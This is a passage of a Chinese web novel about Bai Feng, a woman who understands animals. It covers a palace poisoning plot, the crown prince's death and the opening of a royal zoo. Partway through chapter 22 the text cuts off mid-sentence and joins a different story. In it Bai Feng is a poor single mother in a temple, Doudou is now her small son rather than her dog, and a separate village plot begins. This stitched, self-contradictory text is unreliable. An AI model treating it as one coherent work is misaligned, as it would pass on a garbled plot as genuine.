“回、回皇上,皇妃娘娘是中毒了。”太医跪在地上,声音发颤,“而且毒性很烈,若不及时解毒,恐怕……” 第18章 臣女知道是谁下的毒 皇上脸色更难看了:“查!给朕彻查!看看是谁敢在宫里下毒!” 侍卫们立刻行动起来,把所有人都控制在原地,不许离开。 白凤站在人群里,突然听见柳如意的声音:“皇上,臣女知道是谁下的毒。” 所有人都看向她。 柳如意走到皇上面前,跪下来:“皇上,臣女刚才看见白凤往皇妃娘娘的茶杯里放了东西。” 白凤愣了一下,随即笑了:“柳如意,你这栽赃的本事倒是跟你爹学了个十足十。” “我没有栽赃!”柳如意眼泪啪嗒啪嗒往下掉,“皇上明鉴,臣女句句属实!白凤的父母当年被贬,她肯定怀恨在心,想要报复朝廷!” “胡说八道。”白凤冷笑,“我要是想报复,为什么要选在这种场合?这不是自投罗网吗?” “那可不一定。”柳如意说,“也许你就是想趁乱逃走呢?” 白凤懒得跟她废话,直接转向皇上:“皇上,臣女愿意接受搜查。若真是臣女下的毒,臣女愿意以命抵命。” 皇上看了她一眼,挥手让侍卫搜身。 侍卫在白凤身上搜了一遍,什么都没找到。 柳如意脸色变了变:“一定是她藏起来了!皇上,请下令搜查她的住处!” “不用搜了。”白凤说,“我有办法证明自己的清白。” 她蹲下来,对着脚边的豆豆说:“去,把下毒的人找出来。” 豆豆摇着尾巴跑了出去,在人群里转了一圈,最后停在一个宫女面前,冲着她叫。 “就是她!”豆豆说,“我闻到她身上有毒药的味道!” 白凤站起来,指着那个宫女:“皇上,就是她。” 侍卫立刻把宫女控制住,在她身上搜出了一包毒药。 宫女脸色惨白,扑通一声跪下了:“皇上饶命!奴婢、奴婢是被人指使的!” “谁指使你的?”皇上厉声问。 宫女抬起头,看向柳如意:“是、是柳小姐……” 柳如意脸色刷地白了:“你胡说!我什么时候指使过你?” “柳小姐,您、您给了奴婢一百两银子,让奴婢在皇妃娘娘的茶里下毒,然后嫁祸给白姑娘……”宫女哭着说,“奴婢家里有老母需要照顾,实在是没办法……” 柳如意浑身发抖:“你、你血口喷人!” “血口喷人?”白凤走到她面前,“柳如意,你以为你做的事天衣无缝?可惜啊,你忘了一件事。” “什么事?” “动物的鼻子比人灵得多。”白凤笑了,“豆豆能闻出毒药的味道,自然也能闻出你身上的味道。你说,你身上是不是也有毒药的气味?” 柳如意脸色彻底变了。 侍卫上前搜查,果然在她袖子里搜出了一个小瓶子。打开一闻,正是那种毒药的味道。 皇上脸色铁青:“柳如意,你好大的胆子!” 柳如意瘫在地上,嘴唇发白:“皇上,臣女、臣女……” “来人,把她拿下!”皇上一挥手,“还有那个宫女,一并拿下,严加审问!” 侍卫把柳如意和宫女拖了下去。柳如意临走前回头看了白凤一眼,眼里满是怨恨。 白凤没理她,转身走到皇妃面前:“娘娘,您还好吗?” 皇妃已经服了解药,脸色好了许多。她看着白凤,眼里满是感激:“多亏了你,不然本宫今天就危险了。” “娘娘言重了。”白凤说,“臣女只是恰好发现了真相罢了。” 皇上看着她,眼里闪过一丝赞赏:“白姑娘,你这只狗倒是挺聪明的。” “是啊。”白凤摸了摸豆豆的头,“它可是我的宝贝。” 豆豆得意地摇着尾巴。 宴会结束后,白凤带着豆豆离开了皇宫。刚走到宫门口,就看见尉迟深站在那儿等她。 “听说宫里出事了。”尉迟深走过来,“你没事吧?” “没事。”白凤笑了,“不过柳如意可就惨了。” “她活该。”尉迟深说,“敢对你下手,就该有这个觉悟。” 白凤看着他,突然觉得心里暖暖的。 “走吧,回府。”尉迟深伸出手。 白凤愣了一下,把手放在他手心里。 两人并肩走在夕阳下,豆豆在后面摇着尾巴跟着,画面说不出的和谐。 然而第二天,豆豆就闯祸了。 它在府里玩的时候,不小心说漏了嘴,告诉厨子白凤能听懂动物说话。厨子觉得新奇,就跟别人说了,结果一传十十传百,没几天整个京城都知道了。 白凤听到消息的时候,整个人都傻了。 “豆豆,你是猪吗?”她揪着豆豆的耳朵,“让你别乱说话,你怎么就是不听?” “姑娘,我、我不是故意的……”豆豆委屈巴巴地说,“我只是跟厨子聊天,谁知道他会到处说……” 白凤叹了口气,松开手:“算了,事已至此,说什么都没用了。” 然而事情的发展比她想象的还要糟糕。 因为白凤能听懂动物说话的事传开了,许多跟她有过接触的人都开始恐慌。他们担心自己养的动物会泄露秘密,于是纷纷把动物处死。 更离谱的是,朝廷下令,以后不许用马车,改用人力轿子。理由是马也会说话,万一泄露了朝廷机密怎么办。 白凤听到这个消息,气得想骂人。 “这都什么跟什么啊!”她在院子里走来走去,“我又不是到处偷听别人的秘密!这些人脑子有病吧?” “姑娘,您别生气……”豆豆趴在地上,尾巴都不敢摇了。 白凤看着它,叹了口气:“算了,不怪你。这件事早晚会暴露,只是没想到来得这么快。” 然而更大的麻烦还在后面。 太子听说白凤能听懂动物说话,立刻意识到这是个威胁。他担心白凤会利用这个能力查出更多秘密,于是决定先下手为强。 他以围猎的名义,邀请各王爷和贵族参加,实际上是想借机除掉白凤。 尉迟深收到请帖,立刻意识到不对劲。 “这是个陷阱。”他对白凤说,“太子想借围猎的机会对你下手。” “我知道。”白凤说,“但我还是要去。” “为什么?” “因为我想看看,太子到底有多怕我。”白凤笑了,“而且,我有办法对付他。” 围猎那天,白凤穿了一身劲装,带着豆豆跟着尉迟深进了猎场。 第19章 我不想干什么 猎场在城外的山林里,到处都是参天大树和茂密的灌木。白凤刚进去,就听见四周传来窸窸窣窣的声音。 “姑娘,有埋伏。”豆豆警惕地说。 “我知道。”白凤拍了拍它的头,“别怕,有我在。” 她闭上眼睛,用意识呼唤四周的动物。 很快,山林里的动物都听到了她的召唤。鸟儿从树上飞下来,野兔从洞里钻出来,就连躲在暗处的野猪和狼也走了出来。 “有人要害我。”白凤对它们说,“帮我一个忙,好吗?” 动物们纷纷点头。 围猎开始了。太子带着人进了山林,表面上是打猎,实际上是在寻找白凤的踪迹。 然而他们刚走进树林深处,就被一群动物包围了。 野猪冲在最前面,用獠牙顶翻了好几个侍卫。狼群紧随其后,把太子的护卫撕咬得落荒而逃。就连天上的鸟儿也俯冲下来,用爪子抓人的脸。 太子吓得脸色发白,拔腿就跑。 然而他刚跑出几步,就被一只老虎拦住了去路。 老虎张开血盆大口,冲着他低吼。 太子吓得瘫在地上,裤子都湿了。 白凤从树后走出来,看着狼狈不堪的太子,笑了:“太子殿下,这围猎还满意吗?” 太子抬起头,看见白凤,眼里满是恐惧:“你、你想干什么?” “我不想干什么。”白凤说,“我只是想告诉你,有些人,不是你想动就能动的。” 说完,她转身离开了。 老虎看了太子一眼,也转身走了。 太子瘫在地上,浑身发抖,再也说不出话来。 太子死了。 消息传到尉迟深府上时,白凤正在院子里喂她的那群“小弟”。一只金雕蹲在她肩头,歪着脑袋啄她的发髻,两只狐狸在脚边打滚,几只灵猴在树上荡来荡去。 “死了?”白凤手里的肉干顿住,“怎么死的?” 来报信的是尉迟深的副将,神色古怪:“说是……吓死的。” 白凤:“……” 这也太草率了吧。 她把肉干塞进嘴里,拍拍手站起来:“走,去看看。” 宫里已经乱成一锅粥。太子妃哭得昏天黑地,皇后脸色铁青,皇帝坐在龙椅上,面无表情地盯着下方跪着的一群人。 白凤跟着尉迟深进殿时,正好听见御医战战兢兢地禀报:“太子殿下确实是……惊吓过度,心脉俱断而亡。” “惊吓?”皇帝的声音冷得像冰碴子,“堂堂太子,能被什么吓死?” 御医额头冷汗直冒,不敢答话。 白凤扫了眼殿内,很快就明白了。角落里站着几个宫女太监,个个脸色惨白,其中一个小太监裤子还是湿的。 得,肯定是她那些“小弟”干的好事。 前几天她放出去的几只猛兽,专门负责盯着太子的动向。这群家伙平时看着乖巧,真要发起狠来,吓死个把人不在话下。 “陛下,”尉迟深上前一步,“臣听闻太子殿下昨夜在御花园遇袭?” 皇帝眼神一闪:“你消息倒是灵通。” “臣只是恰好听说,”尉迟深不动声色,“不知是何人胆大包天,竟敢在宫中行凶?” “行凶?”皇后突然尖声开口,“分明是你们夫妇二人蓄意谋害!那些野兽都是白凤养的,谁不知道?” 白凤挑眉,正要说话,就听见一声凄厉的哭喊。 一个宫女突然从人群中冲出来,扑通跪在地上:“陛下!是奴婢,都是奴婢的错!” 殿内一静。 宫女哭得上气不接下气:“昨夜太子殿下召奴婢去御花园,说是……说是要奴婢帮忙办事。奴婢不敢不从,谁知半路遇到几只野兽,太子殿下吓得……吓得……” “办什么事?”皇帝的声音更冷了。 宫女浑身发抖,却咬牙说了出来:“太子殿下让奴婢去给……给官家小姐送东西。” 官家小姐,是当朝首辅大人的独女,才十五岁,正是待字闺中的年纪。 皇后脸色瞬间变得煞白。 白凤在心里啧了一声。这太子还真是不消停,死了都要拉个垫背的。 “送什么东西?”皇帝一字一顿。 宫女从怀里掏出一个荷包,双手奉上。 皇帝接过来打开,脸色骤变。里面是一枚玉佩,还有一封情书。 “混账!”皇帝一掌拍在龙椅扶手上,“朕的好儿子,好太子!” 皇后跪了下来:“陛下,太子他……他只是一时糊涂……” “一时糊涂?”皇帝冷笑,“官家小姐昨夜在回府路上遇袭,摔下马车,如今还躺在床上生死未卜。你说这是巧合?” 白凤心里一动。原来还有这一出。 她悄悄看了眼尉迟深,后者面色平静,看不出任何异样。但白凤知道,这事十有八九跟他脱不了干系。 毕竟她那些“小弟”虽然听她的话,但具体怎么行动,还得尉迟深来安排。 “陛下息怒,”首辅大人这时候站了出来,声音沙哑,“老臣只求陛下能还小女一个公道。” 皇帝沉默了片刻,突然看向尉迟深:“尉迟将军,你说这事该如何处理?” 尉迟深躬身:“臣不敢妄言。” “不敢?”皇帝冷笑,“朕看你是什么都敢。太子死了,你最高兴吧?” 殿内气氛骤然紧张起来。 白凤皱眉,正要开口,就听尉迟深淡淡道:“陛下若是怀疑臣,大可彻查。臣昨夜一直在府中,府里上下百余人都可作证。” “那些野兽呢?”皇后咬牙,“那些野兽是白凤养的,她能指使野兽杀人!” 白凤笑了:“皇后娘娘这话说得,我那些小弟是野兽不假,但它们也是有脾气的。太子殿下半夜三更在御花园鬼鬼祟祟,它们当成刺客也正常吧?” “你——” “够了!”皇帝打断皇后的话,深深看了白凤一眼,“此事暂且不提。但官家小姐因此受伤,总要有人负责。” 白凤心里咯噔一下。 果然,皇帝接下来的话让她心沉到了谷底。 “尉迟将军,”皇帝缓缓开口,“你手握兵权,又是朕的心腹。如今太子薨逝,朝中必然动荡。朕需要你稳住局面。” 尉迟深抱拳:“臣定当竭尽全力。” “但是,”皇帝话锋一转,“你的妻子白凤,毕竟与此事脱不了干系。朕给你两个选择。” 白凤的手指微微收紧。 “要么,你休了白凤,朕可以既往不咎。”皇帝顿了顿,“要么,你交出兵权,从此在府中安享富贵。” 殿内鸦雀无声。 白凤看向尉迟深,后者依然面色平静,看不出任何情绪波动。 她突然有点慌。 第20章 差点没忍住 虽然她知道尉迟深不会休她,但兵权对他来说意味着什么,她也清楚。那是他这些年一刀一枪拼出来的,是他在朝中立足的根本。 “陛下,”尉迟深突然开口,声音平稳,“臣选择交出兵权。” 白凤愣住了。 皇后也愣住了。 就连皇帝都愣了一下,随即眼中闪过一丝复杂的神色。 “你确定?”皇帝问。 “确定,”尉迟深抬头看向皇帝,“臣这些年征战沙场,也累了。正好借此机会,陪陪妻子。” 白凤鼻子一酸,差点没忍住。 这个傻子。 皇帝沉默了良久,才缓缓点头:“好,朕准了。明日早朝,你便交出兵符。” “是。” 尉迟深起身,牵起白凤的手,转身离开。 出了大殿,白凤才忍不住开口:“你疯了?兵权对你来说——” “对我来说,没你重要,”尉迟深打断她的话,语气平淡得像在说今天天气不错,“再说,兵权没了可以再拿回来,你要是没了,我上哪儿找第二个去?” 白凤被他这话噎得说不出话来。 半晌,她才闷闷道:“你就不怕我跑了?” “跑?”尉迟深低头看她,嘴角勾起一个弧度,“你跑得了吗?” 白凤:“……” 行吧,她确实跑不了。 回到府中,白凤越想越不对劲。她把尉迟深拉到书房,关上门:“你老实说,太子的死,是不是你安排的?” 尉迟深倒了杯茶,慢条斯理地喝了一口:“你觉得呢?” “我觉得是,”白凤盯着他,“但我想不通,你为什么要这么做?太子虽然蠢,但还不至于威胁到你。” “不至于?”尉迟深放下茶杯,“他昨天派人去刺杀官家小姐,你知道为什么吗?” 白凤摇头。 “因为官家小姐无意中听到了他和几个大臣密谋的事,”尉迟深淡淡道,“他们打算在秋猎时对皇帝下手。” 白凤倒吸一口凉气:“逼宫?” “差不多,”尉迟深点头,“太子等不及了,他想提前登基。” “所以你就……”白凤比了个抹脖子的手势。 “我只是让你的那些小弟去吓唬吓唬他,”尉迟深无辜地摊手,“谁知道他胆子这么小,直接吓死了。” 白凤:“……” 她怎么觉得这话听起来这么不靠谱呢。 “那官家小姐呢?”白凤又问,“她真的受伤了?” “受伤是真的,”尉迟深顿了顿,“但不是太子的人干的,是我的人。” 白凤瞪大眼睛:“你疯了?首辅大人要是知道——” “他知道,”尉迟深打断她,“这事是我和他商量好的。官家小姐只是摔断了腿,养几个月就好。但有了这个理由,皇帝才能名正言顺地处理太子的余党。” 白凤沉默了。 她突然发现,自己好像低估了尉迟深的手段。 “所以,”她慢慢开口,“你交出兵权,也是计划的一部分?” 尉迟深笑了:“聪明。” “皇帝现在最忌惮的就是我手握重兵,”尉迟深解释道,“太子一死,他肯定会想办法削弱我的势力。与其被动挨打,不如主动出击。我交出兵权,他反而会放心。” “然后呢?”白凤追问。 “然后,”尉迟深看着她,眼中闪过一丝笑意,“就该你出场了。” 白凤一愣:“我?” “对,”尉迟深点头,“明天你去宫里,主动请缨当皇家的驯兽师。” 白凤皱眉:“为什么?” “因为皇帝需要一个新的制衡点,”尉迟深耐心解释,“我交出了兵权,但你的那些野兽,战斗力不比军队差。皇帝会动心的。” 白凤想了想,觉得有道理。 “而且,”尉迟深继续说,“你当了皇家驯兽师,就有理由在京城建个动物园。你那些小弟天天吃白食也不是个事,让它们自己赚钱养活自己。” 白凤眼睛一亮:“这主意不错!” 她那些“小弟”确实太能吃了,每个月光是肉食就要花不少银子。要是能让它们自己赚钱,她也能轻松点。 “不过,”白凤又想到一个问题,“皇帝会同意吗?” “会的,”尉迟深笃定道,“他现在正愁怎么安抚朝臣,你这个提议正好给了他一个台阶。而且,动物园这种新鲜玩意儿,肯定能吸引不少人。到时候门票钱一收,国库也能充盈不少。” 白凤不得不承认,尉迟深这算盘打得真精。 “行,”她点头,“明天我就去。” 第二天一早,白凤就进宫了。 皇帝正在批阅奏章,听说白凤求见,愣了一下,还是让她进来了。 “白凤,你来做什么?”皇帝放下笔,打量着她。 白凤行了个礼,开门见山:“陛下,臣妾有个不情之请。” “说。” “臣妾想为皇家效力,”白凤认真道,“臣妾擅长驯兽,手下有不少猛兽。如今夫君交出兵权,臣妾也不能闲着。不如让臣妾当个驯兽师,为陛下训练一支兽军,如何?” 皇帝眼中闪过一丝惊讶,随即陷入沉思。 良久,他才开口:“兽军?” “对,”白凤点头,“臣妾的那些猛兽,个个都是百里挑一。若是训练得当,战斗力不输精兵。而且,它们不需要军饷,只需要肉食。比养兵便宜多了。” 皇帝心动了。 他现在正愁着怎么制衡朝中势力,白凤这个提议确实不错。而且,兽军这种东西,听起来就很威风。 “你有把握?”皇帝问。 “有,”白凤自信道,“不过臣妾还有个想法。” “什么想法?” “臣妾想在京城建个动物园,”白凤说,“把那些猛兽养在里面,平时可以供百姓观赏,收点门票钱。既能养活它们,又能让百姓开开眼界。一举两得。” 皇帝眼睛一亮。 这主意好啊! 不仅能解决猛兽的开销问题,还能增加国库收入。最重要的是,这事传出去,他的名声肯定会更好。 “准了,”皇帝当即拍板,“朕给你拨一块地,你尽管去建。需要什么,尽管开口。” 白凤心里乐开了花,面上却不动声色:“多谢陛下。” 出了宫,白凤立刻回府把这个好消息告诉尉迟深。 “成了?”尉迟深问。 第21章 成了 “成了,”白凤笑得眉眼弯弯,“皇帝还给了我一块地,让我随便建。” “那就好,”尉迟深松了口气,“接下来,就看你的了。” 白凤撸起袖子:“放心,包在我身上!” 接下来的日子,白凤忙得脚不沾地。 她先是把自己那些“小弟”全都召集起来,挑出一批适合战斗的,专门训练。剩下的,就安排到动物园里。 动物园的选址在京城西郊,占地极广。白凤按照现代动物园的模式,把不同的动物分区饲养。猛兽区、飞禽区、水族区,应有尽有。 为了吸引游客,她还特意设计了一些互动项目。比如喂食体验、骑马体验、观看猛兽表演等等。 消息一传出去,整个京城都轰动了。 百姓们从来没见过这种新鲜玩意儿,纷纷跑来看热闹。开业第一天,门票就卖出去上千张。 白凤数着银子,笑得合不拢嘴。 “发财了发财了!”她抱着账本,兴奋得像个孩子。 尉迟深看着她这副模样,忍不住笑了:“你这财迷样子,要是让皇帝看见,指不定会后悔。” “后悔什么?”白凤不以为意,“我这是为国库做贡献呢!” 确实,动物园的收入,三成要上交国库。但即便如此,白凤每个月也能赚得盆满钵满。 更重要的是,她那些“小弟”终于不用她养了,个个都能自食其力。 日子就这么平静地过了几个月。 直到有一天,白凤的一只信鸽飞回来,带来了一个惊人的消息。 太子的余党,还在暗中活动。 而且,他们的目标,是皇帝。 信鸽落在白凤肩头时,她正在动物园里监督几只猴子表演杂技。那只灰色的鸽子在她耳边咕咕叫了几声,白凤脸色瞬间变了。 “出事了。”她转身就往府里跑。 尉迟深正在书房里看兵书,见她风风火火地闯进来,放下书卷:“怎么了?” “太子的人还没死绝,”白凤把鸽子腿上的纸条解下来递给他,“他们打算在中秋宫宴上动手。” 尉迟深接过纸条,扫了一眼,眉头皱起:“消息可靠?” “我的鸟从来不说谎,”白凤肯定道,“而且不止一只鸟看到了,至少有三处地方都在秘密集结人手。” 尉迟深沉吟片刻:“这事得告诉皇帝。” “等等,”白凤拦住他,“咱们就这么直接去万一皇帝不信怎么办?或者,他信了,但怀疑咱们别有用心呢?” 尉迟深看着她,眼中闪过一丝赞赏:“你想怎么做?” 白凤在屋里转了两圈,突然停下:“敲竹杠。” “什么?” “皇帝不是一直想知道我的情报网怎么运作的吗?”白凤嘿嘿一笑,“这次正好让他见识见识。不过嘛,情报这种东西,可是很值钱的。” 尉迟深失笑:“你这是要趁火打劫?” “这叫合理收费,”白凤纠正他,“我养这么多鸟,每天光是粮食就要花不少钱。现在它们帮皇帝办事,收点辛苦费不过分吧?” 尉迟深想了想,点头:“也行。不过别要太多,皇帝虽然大方,但也不是冤大头。” “放心,我有分寸。” 第二天,白凤就进宫求见。 皇帝最近心情不错。动物园的收入月月攀升,国库充盈了不少。而且没了兵权的尉迟深老老实实待在府里,也让他安心了许多。 “白凤,今天怎么有空进宫?”皇帝笑着问。 白凤行了个礼,直截了当:“陛下,臣妾有个生意想跟您谈谈。” “生意?”皇帝来了兴趣,“什么生意?” “情报生意,”白凤说,“臣妾手下有不少鸟类,它们飞得快,看得远,最适合打探消息。臣妾想问问陛下,有没有兴趣买点情报?” 皇帝眼神一闪:“你有什么情报?” “这就要看陛下出什么价了,”白凤笑眯眯道,“情报这种东西,价值连城。臣妾也不能白送不是?” 皇帝盯着她看了半晌,突然笑了:“你这丫头,倒是个会做生意的。说吧,要多少?” “不多,”白凤伸出一根手指,“一条情报,一千两银子。” “一千两?”皇帝挑眉,“你这是狮子大开口啊。” “陛下,您想想,”白凤开始忽悠,“臣妾的鸟遍布京城,什么风吹草动都逃不过它们的眼睛。这种情报网,您上哪儿找第二个去?而且,一千两银子,对陛下来说不过是九牛一毛,但换来的可能是江山社稷的安稳。这买卖,划算。” 皇帝被她说得心动了。 确实,白凤的这些鸟类,比人类探子好用多了。它们不会被收买,不会泄密,而且速度快,效率高。 “行,”皇帝点头,“朕答应你。不过,你得先让朕看看,你的情报值不值这个价。” 白凤早就等着这句话:“陛下,臣妾刚好有个重要情报要告诉您。” “说。” “太子的余党还在活动,”白凤压低声音,“他们打算在中秋宫宴上对您不利。” 皇帝脸色骤变:“你说什么?” “臣妾的鸟看到了,”白凤说,“至少有三处地方在秘密集结人手。而且,他们已经买通了宫里的几个太监。” 皇帝猛地站起来:“哪几个太监?” 白凤报了几个名字。 皇帝立刻召来侍卫,让人去查。不到一个时辰,结果就出来了。那几个太监果然有问题,从他们房里搜出了不少违禁物品。 皇帝的脸色阴沉得可怕。 “好,很好,”他咬牙切齿,“朕还以为太子死了就完事了,没想到这些余孽还敢兴风作浪。” “陛下息怒,”白凤适时开口,“臣妾还有更详细的情报,不过……” “多少钱?”皇帝直接问。 “这次的情报比较多,”白凤掰着手指算,“一共十条,按照之前说的价格,就是一万两。不过看在陛下的面子上,臣妾给您打个折,八千两就行。” 皇帝深吸一口气,挥手:“给她。” 很快,八千两银票就送到了白凤手里。 白凤美滋滋地收好银票,然后把自己掌握的所有情报都说了出来。包括那些余党的藏身地点、联络方式、甚至连他们打算怎么动手都一清二楚。 皇帝听完,脸色越来越难看。 第22章 你说,朕该怎么办? “这些人,简直是找死。”他冷冷道。 “陛下打算怎么办?”白凤问。 皇帝沉默了片刻,突然看向她:“你说,朕该怎么办?” 白凤愣了一下,没想到皇帝会问她这个问题。 她想了想,试探着说:“臣妾觉得,与其被动防守,不如主动出击。” “主动出击?” “对,”白凤点头,“既然知道他们要在中秋宫宴上动手,那咱们就将计就计。表面上照常举办宫宴,暗地里布下天罗地网。等他们自投罗网,一网打尽。” 皇帝眼睛一亮:“继续说。” “而且,”白凤压低声音,“臣妾建议,这次行动最好让尉迟深参与。他虽然交出了兵权,但威望还在。有他坐镇,那些余党肯定不敢轻举妄动。” 皇帝若有所思地看着她:“你这是在为你夫君争取机会?” “臣妾只是实话实说,”白凤坦然道,“陛下您想想,现在朝中谁最适合处理这种事?除了尉迟深,还有谁?” 皇帝沉默了。 白凤说得没错。尉迟深虽然没了兵权,但他在军中的威望无人能及。而且,这次的事情如果处理不好,很可能会引发动乱。有尉迟深在,至少能稳住局面。 “行,”皇帝最终点头,“朕准了。你回去告诉尉迟深,让他进宫来见朕。” “是。” 白凤心满意足地离开了。 回到府里,她把银票往桌上一拍:“八千两!一次就赚了八千两!” 尉迟深看着她那副财迷样子,好笑道:“你就这么缺钱?” “谁会嫌钱多?”白凤理直气壮,“再说了,这可是我辛辛苦苦赚来的。我那些鸟每天飞来飞去,容易吗?” 尉迟深摇头失笑,然后收起笑容:“皇帝让我进宫?” “嗯,”白凤点头,“他想让你帮忙处理太子余党的事。” “看来你的计划成功了,”尉迟深说,“不过,这次的事情恐怕没那么简单。” “怎么” “太子的余党敢在这个时候动手,肯定是有所依仗,”尉迟深分析道,“而且,他们能买通宫里的太监,说明内部有人接应。这个人的身份肯定不低。” 白凤皱眉:“你是说,朝中还有大臣参与?” “很有可能,”尉迟深点头,“所以这次,咱们得小心行事。” “那你打算怎么办?” 尉迟深想了想:“先进宫见皇帝,听听他的想法。然后,咱们再制定详细的计划。” “行,”白凤点头,“不过你得答应我,不能冒险。” 尉迟深看着她,眼中闪过一丝温柔:“放心,我不会有事的。” 当天下午,尉迟深就进宫了。 皇帝见到他,开门见山:“尉迟深,朕需要你帮忙。” “陛下请说。” 皇帝把太子余党的事情详细说了一遍,然后问:“你觉得,该怎么办?” 尉迟深沉吟片刻:“臣以为,白凤的建议很好。将计就计,一网打尽。 城隍庙的破门被风吹得吱呀作响,白凤坐在草席上,正给豆豆喂着从集市上买来的糕点。 黑甲侍卫走了快一个时辰了,庙里重归安静。豆豆吃得满嘴糖渣,大黄狗趴在门口晒太阳,尾巴一甩一甩的。 “娘,那些穿黑衣服的叔叔好威风。”豆豆仰着小脸,眼里闪着光。 白凤擦掉他嘴角的糖渣,“威风有什么用,还不是被娘赶走了。” 大黄狗突然竖起耳朵,“有人来了,好多人。” 白凤心里一紧,抱起豆豆就往庙后走。还没走到门口,就听见外面传来杂乱的脚步声。 “白凤!你给我出来!” 是舅妈的声音,比平时尖利了三分。 白凤站住脚,把豆豆放下,“你在这儿别动。” 她转身走到庙门口,就见舅妈领着七八个村里的婆子站在外面。舅妈今天穿得格外齐整,头上还插了支银簪子,脸上抹了厚厚的粉。 “舅妈这是唱的哪出?”白凤靠在门框上,语气平淡。 舅妈冷笑,“你还有脸叫我舅妈?王爷的人都找上门了,你怎么不说你跟王爷有一腿?” 围观的婆子们立刻炸开了锅,叽叽喳喳地议论起来。 “我就说嘛,这白凤怎么可能平白无故生出个儿子来。” “王爷的种啊,那可金贵着呢。” “怪不得她现在有钱买药材了,原来是傍上了大款。” 白凤听着这些话,脸上的表情没有半点变化。她早就习惯了这些闲言碎语,前世在娱乐圈摸爬滚打这么多年,什么难听的话没听过? “舅妈专门带人来看热闹?”白凤打了个哈欠,“我还以为你是来给我道歉的。” 舅妈气得脸都绿了,“道歉?我呸!你个不要脸的,勾搭王爷不说,还敢偷我家的东西!” “偷你家什么了?” “那块熟肉!还有我女儿的新衣裳!” 白凤笑了,“熟肉是你女儿让我去拿的,我只是照做罢了。至于衣裳,我连你家门都没进,哪来的衣裳?” “你还狡辩!”舅妈指着她的鼻子,“你现在攀上高枝了,就不认账了是吧?” 白凤往前走了两步,舅妈下意识地往后退。 “舅妈,咱们把话说清楚。”白凤的声音很轻,却让人莫名发寒,“我在你家住了这么久,吃的是剩饭,睡的是柴房,干的是牛马活。你女儿回来那天,让我伺候她洗脚,我照做了。她说要吃熟肉,我去拿了。这算偷?” 围观的婆子们开始窃窃私语。 “这么说起来,好像也不算偷啊。” “沈家对她确实挺刻薄的。” 舅妈听见风向不对,立刻改口,“那你抢了肉跑出来,还带走了我家的碗筷,这总是事实吧?” “碗筷?”白凤冷笑,“那个缺了口的破碗?舅妈要是想要,我现在就还给你。” 她转身进庙,拿出那个破碗,当着众人的面摔在地上。 瓷片四溅,舅妈的脸色变得煞白。 “还有什么要说的?”白凤拍拍手上的灰尘。 就在这时,一个穿着体面的中年男人从人群里挤了进来。白凤认出他,正是昨天在医馆收药材的赤脚郎中。 “白姑娘,昨天的事是在下唐突了。”郎中赔着笑脸,递上一个荷包,“这是昨天药材的钱,在下多加了二两银子,算是赔罪。” 白凤没接,“郎中这是什么意思?” 郎中擦了擦额头的汗,“昨天在下一时糊涂,听信了沈家的话,去师爷那里说了些不该说的。现在想想,实在是不应该。白姑娘大人不记小人过,就当在下放了个屁,这事就这么过去了,如何?” 第23章 还是卖给你 舅妈脸色大变,“你、你说什么?你不是说要帮我们的吗?” 郎中看都不看她一眼,“沈大娘,您还是别为难白姑娘了。人家现在可是王爷的人,咱们这些小老百姓,哪里惹得起?” 他这话一出,围观的人群立刻散开了一大半。 舅妈站在原地,脸上青一阵白一阵。 白凤这才接过荷包,掂了掂分量,“郎中客气了。不过我有个条件。” “白姑娘请说。” “以后我采的药材,还是卖给你。价钱按市价,童叟无欺。” 郎中眼睛一亮,连连点头,“那是自然,那是自然。” 打发走了郎中,白凤转身看向舅妈,“舅妈还有事吗?” 舅妈张了张嘴,最终什么也没说,灰溜溜地带着人走了。 大黄狗摇着尾巴走过来,“那个老婆子怕你了。” “怕的不是我,是王爷。”白凤蹲下来,摸了摸大黄狗的头,“不过这样也好,至少短时间内她不敢再来找麻烦。” 豆豆从庙里跑出来,抱住白凤的腿,“娘,我们是不是很厉害?” 白凤抱起儿子,在他额头上亲了一口,“对,我们最厉害。” 夕阳西下,城隍庙的影子拉得很长。白凤站在门口,看着远处的炊烟,心里却在盘算着接下来的打算。 王爷那边早晚还会再来,她必须尽快找到安身立命的本事。光靠采药材不是长久之计,她得想办法赚更多的钱。 “娘,我饿了。”豆豆扯了扯她的衣角。 白凤回过神来,“走,娘带你去吃好吃的。” 镇上最热闹的是东市,各种摊贩沿街摆开,吆喝声此起彼伏。 白凤牵着豆豆,大黄狗跟在后面,一路走一路看。她在一个卖包子的摊位前停下,买了三个肉包子。 “娘,这个好香。”豆豆捧着包子,小口小口地咬着。 白凤把一个包子掰开,递给大黄狗,“慢点吃,别噎着。” 大黄狗叼着包子,含糊不清地说,“你对我真好。” “少贫嘴,好好吃你的。” 白凤自己也咬了一口包子,肉馅鲜美多汁,面皮松软,味道确实不错。她一边吃一边观察周围的摊位,心里琢磨着什么生意好做。 卖吃食的摊位生意最好,但竞争也激烈。卖布匹的需要本钱太多,她现在手头的银子不够。卖首饰的倒是利润高,可她不懂这行。 正想着,豆豆突然拽了拽她的衣袖,“娘,你看那个。” 白凤顺着他手指的方向看去,是一个卖糖画的老头。老头手法娴熟,用勺子舀起糖浆,在石板上画出各种图案,引得周围的孩子们欢呼雀跃。 “想要吗?”白凤问。 豆豆点点头,又摇摇头,“娘,我们是不是没有很多钱?” 白凤心里一软,这孩子才四岁,就已经懂得替她考虑了。 “有钱,娘带你去买。” 她牵着豆豆走到糖画摊前,老头抬头看了她一眼,“要什么样的?” “给孩子画个小狗吧。” 老头手上动作不停,很快一只栩栩如生的小狗就成型了。他把糖画递给豆豆,收了两文钱。 豆豆捧着糖画,开心得眼睛都弯成了月牙。 白凤看着老头的手法,心里突然有了主意。糖画这东西成本低,利润高,而且她前世在剧组待过,见过各种道具师的手艺,画个糖画应该不难。 “老丈,请问这糖画怎么做?” 老头警惕地看了她一眼,“你想学?” “只是好奇问问。” 老头冷哼一声,“这是我家祖传的手艺,不外传。” 白凤也不强求,带着豆豆继续往前走。 大黄狗突然开口,“前面有个人在偷东西。” 白凤顺着它的视线看去,果然看见一个瘦小的身影在人群里穿梭。那人手法很快,从一个胖妇人的篮子里摸出一块布,转身就要跑。 “抓贼啊!”胖妇人反应过来,尖叫着追了上去。 小贼跑得飞快,眼看就要逃进巷子里。白凤眼疾手快,伸脚一绊,小贼一个趔趄摔在地上,手里的布掉了出来。 胖妇人气喘吁吁地跑过来,一把揪住小贼的衣领,“好你个小兔崽子,敢偷老娘的东西!” 小贼拼命挣扎,“我没偷,我没偷!” 白凤这才看清,所谓的小贼不过是个十来岁的半大孩子,穿着破旧的衣裳,脸上脏兮兮的,一双眼睛却亮得惊人。 “你还敢狡辩!”胖妇人扬起手就要打。 